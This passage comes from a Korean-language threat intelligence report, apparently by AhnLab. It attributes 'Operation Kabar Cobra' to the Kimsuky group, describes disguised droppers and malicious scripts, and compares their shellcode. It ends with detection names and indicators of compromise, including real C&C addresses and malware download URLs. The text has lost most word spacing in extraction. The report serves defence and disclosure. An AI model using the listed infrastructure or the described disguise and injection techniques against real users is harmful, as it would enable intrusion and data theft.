기능과특징, 그리고악성코드와관련된침해사고조사정보를수집하여해당악성코드가어떻게변형되었고, 공격대상은무엇이며, 공격자또는그배후를밝힘으로써향후일어날수있는침해사고를예측하고대비하는작업이라할수있다. 포괄적인정보를수집하고분석해야하는만큼많은시간을필요로하지만침해사고대응을위해반드시필요한작업이다. 그러나공격자들은악성코드프로파일링을방해하거나혼란을주기위해다음과같이다양한방법을동원하고있다. 악성코드패턴다변화및사용주기단축 다른악성코드의기능및특징모방 다양한위장기법 (False Flag) 사용 공개된해킹툴사용 VPN IP 또는경유지 PC를악용하여공격자추적회피 다양한실행압축패커및프로그래밍언어사용 이외에도공격자들은악성코드프로파일링을무력화하기위한여러가지기법들을고안하고있다. 따라 서악성코드프로파일리은 A 는 B 다라는 100% 확신이아니라 A 는 B 도, C 도, D 도될수있다는다양한 경우의수속에서구체적인하나로가능성을높여가는작업이라할수있다. 이러한관점에서이번오퍼레이션카바코브라의배후로 Kimsuky 그룹으로특정한배경은해당그룹의 소행일가능성이높다는점에서기인한다. 오퍼레이션카바코브라의공격대상의변화부터악성코드 유포지및 C&C 분석, 그외공격배후를추정한구체적인근거를살펴본다. 1. 공격대상의변화 일반적으로표적공격 (target attack) 은일정기간동안특정분야를대상으로지속적으로시도한후경 우에따라다른분야로공격대상을변경한다. 이에반해오퍼레이션카바코브라의공격대상은군사 관련기관 (ROTC), 언론분야, 암호화폐관련분야, 의류산업분야등으로다양한것이특징이다. AhnLab, Inc. All rights reserved. 34
앞서 [ 표 1] 에서정리한오퍼레이션카바코브라의시기별공격대상외에도 [ 표 8] 과같이암호화폐및 의류산업분야를대상으로유포된악성코드가확인되었다. 발견시기파일명위장파일형식공격대상 2019.01.18 확인되지않음 엑셀 ( 이더리움지갑정보 ) 암호화폐 2019.01.22 AR.xls{ 공백 }.exe 엑셀 ( 중국위안화로표기된견적서 ) 의류회사 [ 표 8] 추가공격대상별드롭퍼파일명및위장파일형식 (* 파일발견시기와실제유포시기는상이할수있음 ) [ 표 8] 에정리한드롭퍼는앞서살펴본군사기관공격사례 (2019 사업계획서.hwp{ 공백 }.exe) 와언론분야공격사례 ( 미디어권력이동6-넷플렉스, 유튜브.hwp{ 공백 }.exe) 에사용된파일과동일하게 WinRAR SFX(Self-extracting archive, 자동압축풀림 ) 방식으로압축되어있으며, 압축파일내부에는악의적인기능을수행하는악성스크립트가존재한다. 암호화폐를노린공격에는 [ 그림 45] 와같이사용자이름과이더리움주소등의내용으로위장한엑셀 파일을이용했다. 이위장용파일에보이는이더리움주소의거래내역은구글에서검색가능하지만, 실 제사용자의정보와동일한것인지는확인할수없었다. [ 그림 45] 암호화폐를노린공격에사용된위장용엑셀파일의내용 AhnLab, Inc. All rights reserved. 35
앞서살펴본사례에서악성코드가공격자의구글드라이브에업로드된파일에서 C&C 정보를다운로드 했다. 이와달리암호화폐를노린공격에서는악성스크립트 (2.wsf, 3.wsf) 로 C&C 정보를다운로드하는 과정은생략되었으며, serverurl 이란변수에 C&C 서버가명시되어있다. 또한감염 PC 에특정압축프로그램 (WinRAR, ALZIP) 이설치되어있을경우, 비밀번호가적용된압축파 일 (brave.ru) 을, 그렇지않을경우에는 BASE64 로암호화된 brave.ct( 복호화하면 Freedom.dll 임 ) 을다운로 드하기위한분기과정이추가되었다 ([ 그림 46] 참고 ). [ 그림 46] 압축프로그램설치여부확인후파일다운로드 의류산업분야를노린공격에서는 [ 그림 47] 과같은견적서로위장한엑셀파일을이용했다. 해당엑셀 파일의상단에는창세기직물수입및수출 ( 创世纪面料进出口 ) 이라는제목이중국어간체로작성되어있 으며, 중국위완화로견적을작성한것처럼위장하고있다. AhnLab, Inc. All rights reserved. 36
[ 그림 47] 의류산업분야에유포된위장용엑셀파일의내용 [ 그림 48] 은의류산업분야를대상으로유포된드롭퍼의내부에존재하는악성스크립트 (thumbs.wsf) 로, 기존의 2.wsf 나 3.wsf 보다간단하게제작되어있다. [ 그림 48] thumbs.wsf 내용 그러나 thumbs.wsf 를발견했을당시, [ 그림 48] 에보이는 URL 은더이상동작하지않았기때문에정확한 용도를파악할수없었다. 다만, 해당 URL 에서다음과같이악성코드가유포된이력이있었다. rnyacount-jpadmin.hol.es 의악성코드유포이력 h**p://rnyacount-jpadmin.hol.es/est/down/msofficeupdate64 h**p://rnyacount-jpadmin.hol.es/est/down/fw.a 해당 URL 주소의 rnyacount는얼핏보면의미없는단어나오탈자처럼보이지만영어단어 my account( 내계정 ) 와유사하게보인다. 마찬가지로 jpadmin에는관리자페이지를의미하는 admin이라는단어를포함하고있다. 즉, 정상적인관리자페이지로위장하기위한것으로짐작할수있다. 또한해당 URL의 png?_= 다음의파라미터문자열은 ID로되어있는데, 해당 ID는구글에서검색할수있는특정의류업체와관련된단어였다. 이러한점으로미루어 AR.xls{ 공백 }.exe는의류산업분야를노린것으로추정된다. AhnLab, Inc. All rights reserved. 37
2. 악성코드유포지및 C&C 서버 악성코드분석과정에서추출한악성코드유포지, C&C 서버는 185.224.138.29 (NE) 와연결되는데, 해당 IP 와다수의 URL 이연결되어있었다. 그중일부 URL 을 [ 표 9] 와같이정리했다. [ 표 9] 에서볼수있는것처럼 URL 은대부분국내유명포털사이트와구글, 마이크로소프트, 그리고국 내보안업체등의이름으로위장하고있다. 이들 URL 은악성코드유포나피싱사이트, C&C 서버로사 용됐다. IP URL URI navem-rnail.hol.es navem-rnail.hol.es/est/down/msofficeupdate64 myaccounnts-goggle.esy.es bmail-or-kr.esy.es aiyac-updaite.hol.es rnyacount-jpadmin.hol.es aiyac-updaite.hol.es/est/down/alyacmonitor64 aiyac-updaite.hol.es/est/down/msofficeupdate64 rnyacount-jpadmin.hol.es/est/down/msofficeupdate64 rnyacount-jpadmin.hol.es/est/down/fw.a 185.224.138.29 (NE) ms-performance.hol.es msperformance.hol.es/mysite/down/msperformancecheck.b msperformance.hol.es/mysite/down/msperformancecheck64 suppcrt-seourity.esy.es ahnniab.esy.es ahnniab.esy.es/w/down/alyacmonitor.a ahnniab.esy.es/w/down/tvengine.dll daum-safety-team.esy.es myacccounts-goggle.esy.es myacccount-goggle.esy.es nav-mail.hol.es AhnLab, Inc. All rights reserved. 38
mail-support.esy.es my-homework.890m.com my-homework.890m.com/gnu/download/tvengine.dll my-homework.890m.com/gnu/download/list.dll nid-mail.hol.es nid-mail.esy.es/gnu//download/tmp.dll nid-mail.esy.es/gnu//download/notepad64.exe nid-mail.esy.es/bbs/data/tmp/x64/wall.cab nid-mail.esy.es nid-mail.esy.es/bbs/data/tmp/logger/private32 nid-mail.esy.es/bbs/data/tmp/logger/private64 nid-mail.esy.es/bbs/data/tmp/logger/secu32_init nid-mail.esy.es/bbs/data/tmp/logger/secu64_init nid-mail.pe.hu newsea36-chol.esy.es acount-qooqle.pe.hu myprofileacc.pe.hu customer-center.esy.es need-nver.hol.es daum-settting.hol.es nid-never.pe.hu nid-naver.hol.es [ 표 9] 특정 IP 에연결된악성 URL 정보 3. 공격배후추정근거 1. 악성한글문서의쉘코드비교 Kimsuky 그룹이 2014 년에제작한 한울 1,2 호기설계변경사항.hwp 와 2018 년에제작한 core.dll 을생 성하는 종전선언.hwp 를분석한결과, 두악성한글파일의쉘코드가동일함을확인할수있다. AhnLab, Inc. All rights reserved. 39
[ 그림 49] 2014 년악성한글문서 ( 위 ) 와 2018 년악성한글문서 ( 아래 ) 쉘코드비교 [ 그림 49] 의왼쪽은두악성한글문서에존재하는쉘코드의유사도를비교한것으로, 회색부분은동일 한코드를의미한다. 이들두악성한글문서에존재하는쉘코드가동일하다는점에서모두 Kimsuky 그 룹이제작한것으로짐작할수있다. 한편, Kimsuky 그룹이오래된한글취약점과쉘코드를 2018 년종전선언.hwp 에서도사용한이유는이그 룹이노리는공격대상이여전히오래된버전의한글프로그램을최신보안업데이트를적용하지않은 채사용중이라는것을알고있었다는추론이가능하다. [ 그림 50] 2018 년종전선언.hwp 의취약한문단텍스트 (HWPTAG_PARA_TEXT) AhnLab, Inc. All rights reserved. 40
한글과컴퓨터 (Hancom, 이하한컴 ) 사에서는한글프로그램의보안강화를위해동적보안모듈을탑재한바있다. 이로인해한글취약점을이용하는것이좀더어려워지자공격자들은이를우회하기위해한글프로그램의외부기능인고스트스크립트 (GhostScript) 취약점을악용하고있다. 이에한컴은고스트스크립트기능을제거하는보안업데이트를배포했다. 그러나여전히상당수의사용자들이해당보안업데이트를적용하지않고취약한버전의한글프로그램을사용하고있다. 공격자들이여전히고스트스크립트취약점을이용하고있는이유도이때문이다. 2. 악성코드비교 2017년에제작된, 그러나유포대상은알려지지않은악성한글파일과 2018년에제작된종전선언.hwp 는실행시 core.dll이라는악성파일을생성한다. core.dll을비교하면자기자신을실행하는파일은 rundll32.exe와 regsvr32.exe로각각다르지만, [ 그림 51] 과 [ 그림 52] 에서볼수있는것처럼코드는동일하다. 물론, 이코드는다른악성코드에서도볼수있기때문에이것만으로두악성파일을 Kimsuky 그룹의것으로판단할근거로는다소부족하다. [ 그림 51] 2017 년유포된한글파일이생성한 core.dll 의실행코드 [ 그림 52] 2018 년 종전선언.hwp 가생성한 core.dll 의실행코드 AhnLab, Inc. All rights reserved. 41
2017 년에제작된 core.dll 의변종도다수존재하는것으로확인됐다. 관련변종들을비교한결과, 공격자 는 core.dll 의기본틀은유지하되제작및공격시기등에따라코드를변경한것으로보인다. [ 그림 53] 2017 년 core.dll 의 Run() 함수비교 [ 그림 53] 은 2017 년에발견된 3 개의 core.dll 에공통적으로존재하는 EXPORT 함수인 Run 함수의코드를 비교한것이다. 얼핏보기에는모두다르게보이지만세부적으로확인해보면동일한코드가존재한다. 한편, 2017 년에제작된 core.dll 이이번사례와연관되어있다는것은앞서악성한글문서의쉘코드를 비교한것처럼악성코드의유사도비교를통해확인할수있다. AhnLab, Inc. All rights reserved. 42
[ 그림 54] 2017 년 core.dll( 왼쪽 ) 과 2019 년 Freedom.dll( 오른쪽 ) [ 그림 54] 는두악성코드가자기자신을실행하는방식으로, 로딩된프로세스가 notepad.exe이면종료하는동일한방식의코드를확인할수있다. 2019년에제작된 Freedom.dll는 memset, sprint_s() 등일부 C 표준함수가 Sub Call 형태로변환되어있고, 일부문자열이암호화되어있는것이특징이다. 보안업체의분석을방해하기위해변형한것으로보인다. 두악성코드가암호화된문자열을복호화할때사용하는복호화키패턴은 4 바이트씩, 총 32 바이트의 패턴으로동일하다. 해당복호화키를사용하여암호화된문자열을복호화하는코드는동일하지는않지 만 [ 그림 55] 와같이매우유사한모습을보인다. [ 그림 55] 2017 년 core.dll( 왼쪽 ) 과 2019 년 Freedom.dll( 오른쪽 ) 의복호화코드 AhnLab, Inc. All rights reserved. 43
2018 년정보보고.wsf, 2018 년종전선언.hwp, 그리고 core.dll 에의해생성된 2018 년 fontchk.jse 는악성 스크립트로, 앞서살펴본악성스크립트들 (2.wsf, 3.wsf) 과코드및동작방식이동일하다. [ 그림 56] 은이들 3 개스크립트의코드일부를비교한것이다. 이중정보보고.wsf 는다운로드한악성코 드를실행만하는반면, fontchk.jse 와 2.wsf 는다운로드한악성코드를실행한후그결과를 C&C 서버로 전송한다. [ 그림 56] 악성스크립트의코드비교 [ 그림 56] 에보이는 suppcrt-seourity.esy.es 는앞서 [ 표 5] 와함께살펴본 C&C 서버와동일한 IP 에연결 되어있다. 또한, [ 그림 57] 에서볼수있는것처럼 2017 년 core.dll, 2018 년 fontchk.jse 그리고 2019 년 2.wsf 는악성코드를추가로다운로드하기위해 C&C 서버또는공격자의구글드라이브와통신한다. AhnLab, Inc. All rights reserved. 44
[ 그림 57] 공격자의구글드라이브와통신코드비교 [ 그림 58] 은 2016년제46차원내대책회의모두발언.hwp와 2018년종전선언.hwp에존재하는쉘코드이다. 해당쉘코드는 notepad.exe, userinit.exe, explorer.exe 등과같이정상적인프로세스에인젝션되어실행된다. 또한해당쉘코드는메모리에서만존재하며, 악성코드를복호화하여실행하는데사용된다. 비교를통해동일한구조임을확인할수있다. [ 그림 58] 악성한글파일의쉘코드비교 AhnLab, Inc. All rights reserved. 45
또한 [ 그림 59] 와같이 Kimsuky 그룹의악성코드중일부는 %APPDATA%\Microsoft\HNC 라는폴더에 악성코드를생성하거나수집한정보를저장한다. 이는한글프로그램 (HNC) 과관련된파일로위장하기 위함으로보인다. [ 그림 59] 2016 년메모리실행악성코드 ( 왼쪽 ) 와 2017 년 hwpkor.dll( 오른쪽 ) 지금까지악성코드프로파일링을통해확인한특징을요약하면다음과같다. 악성한글문서에동일한쉘코드존재 악성스크립트의코드및동작방식동일 core.dll과추가로생성된악성코드의코드및동작방식동일 C&C 서버와연결된 IP 동일 이러한특징을근거로오퍼레이션카바코브라로명명된공격을주도한것은 Kimsuky 그룹으로추정된 다. AhnLab, Inc. All rights reserved. 46
결론 Kimsuky 그룹은 2016 년후반까지는정보수집을위한표적공격에주력했다. 그러나이번오퍼레이션 카바코브라를통해서확인한것처럼, 현재그들은소속국가의정치적, 경제적상황을타계하기위해 투트랙 (two track) 방식의표적공격을전개하고있다. 지금까지도 Kimsuky 그룹으로의심되는공격사례를비롯해한국기관및기업을노린다수의표적공격이발생하고있다. 정치적협력관계와는별개로, Kimsuky 그룹을포함해우리나라에서활동하고있는여러공격그룹의움직임을지속적으로관찰하고대응하기위해국가기관과보안업체들의긴밀한공조가요구되는시점이다. 또한이번사례에서확인한것처럼여전히알려진취약점을이용한표적공격이계속되고있다. 따라서 기업및기관에서는지속적이며효과적인패치관리를통해운영체제및소프트웨어취약점을이용한 공격에대비해야한다. 안랩제품대응현황 안랩 V3 제품군에서는오퍼레이션카바코브라와관련된악성코드를다음과같은진단명으로탐지하고 있다. MD5 V3 진단명 V3 엔진버전 20301fdd013c836039b8cfe0d100a1d7 Trojan/Win32.Agent 2019.01.21.02 b02f3881321f0912b2ae3f27498c448f Trojan/Win32.XwDoor 2014.01.28.03 cd705902ea42d0de2a8456b055c3bb87 Malware/Win32.Possible_scrdl 2019.02.02.01 AhnLab, Inc. All rights reserved. 47
54783422cfd7029a26a3f3f5e9087d8a HWP/Exploit 2014.12.10.06 b7359ae1a83323d3671e7c3a63ce7bf1 OLE/Cve-2017-11882.Gen 2018.04.05.03 b994bd755e034d2218f8a3f70e91a165 Backdoor/Win32.Agent 2019.01.07.09 ba89337af43f0b07a35cc892ac95112a Backdoor/Win32.Akdoor 2017.07.13.00 874c0ec36be15fe3403f3abad6ecea75 Downloader/Win32.Agent 2017.06.20.00 ab73b1395938c48d62b7eeb5c9f3409d Win-Trojan/Agent.5248512 2013.09.12.00 f22db1e3ea74af791e34ad5aa0297664 JS/Agent 2018.05.31.03 11fc4829c2fff9fb240acbd71c60fc67 Dropper/Win32.TeamRat 2014.04.10.01 6106449779d453be4ae28d89f207e921 Trojan/Win32.Agent 2019.01.07.07 95410a32a76aecb099af53255bb90737 Backdoor/Win32.Akdoor 2017.05.26.03 dc1196876d9a59ab477ebc62d07a255e Malware/Win32.Possible_scrdl 2019.02.02.01 0eb739c8faf77dae0546ff447ad06038 Dropper/Win32.Agent 2019.01.07.07 242c31d0ce2109fdface788663e90f49 Trojan/Win32.Agent 2019.01.07.07 66b73fba4e47b3184edd75b0ce9cf928 Trojan/Win32.Agent 2019.01.21.02 71ec829db01818d305552ec4ebb1c258 Backdoor/Win32.Agent 2019.01.08.00 9c3396aa94083916227201bf1396a2ca Dropper/Win32.Agent 2019.01.07.07 1dfe826f71c20ff04987a9160c177e46 Backdoor/Win32.Agent 2019.01.07.09 48d9e625ea3efbcbef3963c8714544a7 HWP/Exploit 2019.02.07.09 4de21c3af64b3b605446278de92dfff4 Trojan/Win32.Akdoor 2018.05.30.00 b49bbc11ed000211a5af7eb35f596886 VBS/Exploit 2019.02.12.00 8332be776617364c16868c1ad6b4efe7 HWP/Exploit 2018.05.23.04 9d685308d3125e14287ecb7fbe5fcd37 Backdoor/Win32.Agent 2019.01.07.09 bb42e6649d927899c816cc04c2bffc06 Trojan/Win32.Agent 2017.06.12.00 2fdf23367c604511d019a6914c50bc0b Trojan/Win32.Agent 2017.06.12.00 AhnLab, Inc. All rights reserved. 48
AEA8D3002132094A58D5189A8E886CF8 HWP/Exploit 2017.05.31.03 08523230E221246BB59CDE7C3E8363C7 Trojan/Win32.Akdoor 2016.09.28.01 2f26f3a883aeca9a11769664fc7d4750 Backdoor/Win32.Akdoor 2017.05.26.03 566cc6129dc887629a7131821c7547e5 Trojan/Win32.Agent 2017.06.12.00 a45ba001c3abee03bda49c6816d9a17c Backdoor/Win32.Agent 2019.01.08.00 IoC (Indicators of Compromise) 정보 1. MD5 2019 사업계획서.hwp{ 공백 }.exe 0eb739c8faf77dae0546ff447ad06038 미디어권력이동6-넷플렉스, 유튜브.hwp{ 공백 }.exe 9c3396aa94083916227201bf1396a2ca 중국-연구자료.hwp{ 공백 }.scr 20301fdd013c836039b8cfe0d100a1d7 AR.xls{ 공백 }.exe dc1196876d9a59ab477ebc62d07a255e { 미상 }.exe cd705902ea42d0de2a8456b055c3bb87 Freedom.dll & AhnLabMon.dll & AlyacMonitor.db 242c31d0ce2109fdface788663e90f49 6106449779d453be4ae28d89f207e921 66b73fba4e47b3184edd75b0ce9cf928 Cobra.dll b994bd755e034d2218f8a3f70e91a165 1DFE826F71C20FF04987A9160C177E46 1A082A388A285E7FC4541124794F3910 secu32_init.inf 71EC829DB01818D305552EC4EBB1C258 2fdf23367c604511d019a6914c50bc0b private32.db 566cc6129dc887629a7131821c7547e5 AhnLab, Inc. All rights reserved. 49
9D685308D3125E14287ECB7FBE5FCD37 core.dll bb42e6649d927899c816cc04c2bffc06 874C0EC36BE15FE3403F3ABAD6ECEA75 4DE21C3AF64B3B605446278DE92DFFF4 95410A32A76AECB099AF53255BB90737 tvengine.dll a45ba001c3abee03bda49c6816d9a17c ariak.dll 0a50827a4897a43a882c8d3c691d943d IECheck.dll 02dae3046d1669a55785ba935b0e3f0b 45D3.tmp ba89337af43f0b07a35cc892ac95112a MsMpQhp.exe 74c3011b6980bea23d119822d979a364 TeamViewer ab73b1395938c48d62b7eeb5c9f3409d b02f3881321f0912b2ae3f27498c448f 11fc4829c2fff9fb240acbd71c60fc67 2014 한울 1,2 호기설계변경사항.hwp 54783422CFD7029A26A3F3F5E9087D8A 2018 종전선언.hwp 8332be776617364c16868c1ad6b4efe7 fontchk.jse f22db1e3ea74af791e34ad5aa0297664 2월 1주차국제안보군사정세.hwp 48d9e625ea3efbcbef3963c8714544a7 IE 취약점 (CVE-2018-8174) B49BBC11ED000211A5AF7EB35F596886 2016년제46차원내대책회의모두발언.hwp AEA8D3002132094A58D5189A8E886CF8 0x0ED6D109-0xED81000.mem.pe.exe 08523230E221246BB59CDE7C3E8363C7 hwpkor.dll 2f26f3a883aeca9a11769664fc7d4750 2. C&C 및 URL IP URL FULL URL navem-rnail.hol.es navem-rnail.hol.es/est/down/msofficeupdate64 myaccounnts-goggle.esy.es 185.224.138.29 (NE) bmail-or-kr.esy.es aiyac-updaite.hol.es aiyac-updaite.hol.es/est/down/alyacmonitor64 aiyac-updaite.hol.es/est/down/msofficeupdate64 rnyacount-jpadmin.hol.es rnyacount-jpadmin.hol.es/est/down/msofficeupdate64 AhnLab, Inc. All rights reserved. 50
rnyacount-jpadmin.hol.es/est/down/fw.a ms-performance.hol.es msperformance.hol.es/mysite/down/msperformancecheck.b msperformance.hol.es/mysite/down/msperformancecheck64 suppcrt-seourity.esy.es ahnniab.esy.es ahnniab.esy.es/w/down/alyacmonitor.a ahnniab.esy.es/w/down/tvengine.dll daum-safety-team.esy.es myacccounts-goggle.esy.es myacccount-goggle.esy.es nav-mail.hol.es mail-support.esy.es my-homework.890m.com my-homework.890m.com/gnu/download/tvengine.dll my-homework.890m.com/gnu/download/list.dll nid-mail.hol.es nid-mail.esy.es/gnu//download/tmp.dll nid-mail.esy.es/gnu//download/notepad64.exe nid-mail.esy.es/bbs/data/tmp/x64/wall.cab nid-mail.esy.es nid-mail.esy.es/bbs/data/tmp/logger/private32 nid-mail.esy.es/bbs/data/tmp/logger/private64 nid-mail.esy.es/bbs/data/tmp/logger/secu32_init nid-mail.esy.es/bbs/data/tmp/logger/secu64_init nid-mail.pe.hu newsea36-chol.esy.es acount-qooqle.pe.hu myprofileacc.pe.hu customer-center.esy.es AhnLab, Inc. All rights reserved. 51
need-nver.hol.es daum-settting.hol.es nid-never.pe.hu nid-naver.hol.es 별첨 도움주신분들 이번 OPERATION: KABAR COBRA 분석리포트가나오기까지많은분들의도움과피드백이있었습니다. 그분들께감사의마음을전합니다. 안랩 ASEC대응팀박태환, 양태연, 이선호 안랩분석연구팀차민석 이스트시큐리티문종현 금융보안원장민창 한국인터넷진흥원 (KISA) 김병재 그외헌신 ( 獻身 ) 하는무명 ( 無名 ) 의보안전문가들 AhnLab, Inc. All rights reserved. 52